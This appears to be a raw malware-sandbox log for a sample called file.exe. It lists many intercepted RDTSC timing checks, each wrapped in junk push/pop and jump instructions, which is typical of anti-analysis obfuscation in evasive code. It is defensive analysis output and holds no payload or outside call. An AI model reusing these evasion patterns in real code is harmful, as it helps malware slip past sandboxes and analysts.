Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8FCB6 second address: E8FCBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8FCBD second address: E8FCCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95332 second address: E95355 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDE70D000D2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04050 second address: E04057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94E5C second address: E94E99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FDE70D000CCh 0x0000000e jp 00007FDE70D000CAh 0x00000014 push edx 0x00000015 pop edx 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c ja 00007FDE70D000C6h 0x00000022 jmp 00007FDE70D000D5h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94E99 second address: E94EB8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDE71263CF5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95033 second address: E95037 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9BF47 second address: E9BF5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FDE71263CE6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jnc 00007FDE71263CEAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9BF5E second address: E9BF69 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jns 00007FDE70D000C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C7F5 second address: E9C7FF instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDE71263CF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA1D3 second address: DFA1E1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007FDE70D000C6h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA1E1 second address: DFA1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA1E7 second address: DFA1EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F1D0 second address: E9F1D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F1D4 second address: E9F1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE70D000D1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F36A second address: E9F3A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007FDE71263CE6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c jmp 00007FDE71263CEFh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDE71263CF6h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F3A2 second address: E9F3C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D5h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F3C3 second address: E9F3D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE71263CEAh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F3D7 second address: E9F3DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4ED0 second address: EA4ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4ED4 second address: EA4ED8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA5007 second address: EA500B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4774E second address: E47758 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FDE70D000C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47758 second address: E477A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edx 0x0000000b jmp 00007FDE71263CF0h 0x00000010 pop edx 0x00000011 push ecx 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop ecx 0x00000015 popad 0x00000016 nop 0x00000017 mov edi, dword ptr [ebp+122D1DF8h] 0x0000001d mov ebx, dword ptr [ebp+12486960h] 0x00000023 mov dword ptr [ebp+122D20BAh], eax 0x00000029 movzx edi, si 0x0000002c add eax, ebx 0x0000002e jnp 00007FDE71263CECh 0x00000034 mov dword ptr [ebp+122D1CB1h], edx 0x0000003a push eax 0x0000003b push ebx 0x0000003c push eax 0x0000003d push edx 0x0000003e push ecx 0x0000003f pop ecx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA5195 second address: EA519B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA519B second address: EA519F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA519F second address: EA51E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FDE70D000D5h 0x0000000f push ecx 0x00000010 jmp 00007FDE70D000CCh 0x00000015 jmp 00007FDE70D000D7h 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA5D6B second address: EA5D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CF1h 0x00000009 jns 00007FDE71263CE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA5D86 second address: EA5D8C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAEAFC second address: EAEB00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAEB00 second address: EAEB13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FDE70D000C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAEB13 second address: EAEB27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FDE71263CE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007FDE71263CE8h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EACBDF second address: EACBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EACBE4 second address: EACC1C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDE71263CF8h 0x00000008 jmp 00007FDE71263CF2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007FDE71263CE6h 0x00000019 jmp 00007FDE71263CF2h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EACC1C second address: EACC20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EACC20 second address: EACC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE222 second address: EAE23D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D5h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE23D second address: EAE260 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF8h 0x00000007 push eax 0x00000008 je 00007FDE71263CE6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE4F6 second address: EAE4FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE4FC second address: EAE500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE7B7 second address: EAE7BF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB29F2 second address: EB29FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDE71263CE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB29FC second address: EB2A21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D5h 0x00000007 jp 00007FDE70D000C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2A21 second address: EB2A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2CE7 second address: EB2D41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FDE70D000D8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jno 00007FDE70D000C6h 0x00000012 push eax 0x00000013 pop eax 0x00000014 jmp 00007FDE70D000CAh 0x00000019 js 00007FDE70D000C6h 0x0000001f popad 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FDE70D000D3h 0x00000028 jmp 00007FDE70D000CCh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2FF1 second address: EB3007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FDE71263CEEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3007 second address: EB300C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB300C second address: EB3023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CF1h 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3188 second address: EB318C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB318C second address: EB3192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3192 second address: EB31A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FDE70D000C6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB31A5 second address: EB31AB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3302 second address: EB3306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBDB76 second address: EBDB82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDE71263CE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBDB82 second address: EBDB86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBDB86 second address: EBDB96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FDE71263CE6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBDB96 second address: EBDBB3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FDE70D000E9h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE70D000CDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBDBB3 second address: EBDBC2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDE71263CE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBDFDC second address: EBDFE8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDE70D000C6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBDFE8 second address: EBDFF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007FDE71263CE6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE315 second address: EBE335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE70D000CDh 0x00000009 pop eax 0x0000000a jl 00007FDE70D000D2h 0x00000010 je 00007FDE70D000C6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE335 second address: EBE351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FDE71263CF4h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE351 second address: EBE355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE631 second address: EBE637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE637 second address: EBE64F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE79A second address: EBE79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE79E second address: EBE7DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D8h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push ebx 0x0000000d jmp 00007FDE70D000D5h 0x00000012 jc 00007FDE70D000D2h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE7DB second address: EBE7E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE930 second address: EBE937 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE937 second address: EBE946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007FDE71263CE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEA6D second address: EBEA84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jg 00007FDE70D000C6h 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF977 second address: EBF9A6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDE71263CFFh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e je 00007FDE71263CE6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF9A6 second address: EBF9D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDE70D000D9h 0x0000000c jmp 00007FDE70D000CEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF9D4 second address: EBF9DE instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDE71263CE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2B83 second address: EC2B96 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 jno 00007FDE70D000C6h 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4E35 second address: EC4E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4E3D second address: EC4E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4E43 second address: EC4E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FDE71263CECh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC97CC second address: EC97E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FDE70D000C6h 0x00000012 je 00007FDE70D000C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC97E4 second address: EC97E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC97E8 second address: EC97EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC97EE second address: EC97F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3548 second address: ED354E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED354E second address: ED3579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jmp 00007FDE71263CF3h 0x0000000c jmp 00007FDE71263CEDh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3579 second address: ED358B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE70D000CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6823 second address: ED6829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9350 second address: ED9356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9356 second address: ED9361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9361 second address: ED936E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FDE70D000C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED936E second address: ED9376 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED8D7F second address: ED8D89 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDE70D000C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED8D89 second address: ED8D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FDE71263CECh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED8F0B second address: ED8F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDE70D000C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDB156 second address: EDB15A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDB15A second address: EDB16A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000CCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDB16A second address: EDB170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDB170 second address: EDB1BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D1h 0x00000007 pushad 0x00000008 jnp 00007FDE70D000C6h 0x0000000e jnc 00007FDE70D000C6h 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FDE70D000D0h 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jo 00007FDE70D000C6h 0x00000027 jmp 00007FDE70D000CDh 0x0000002c rdtsc
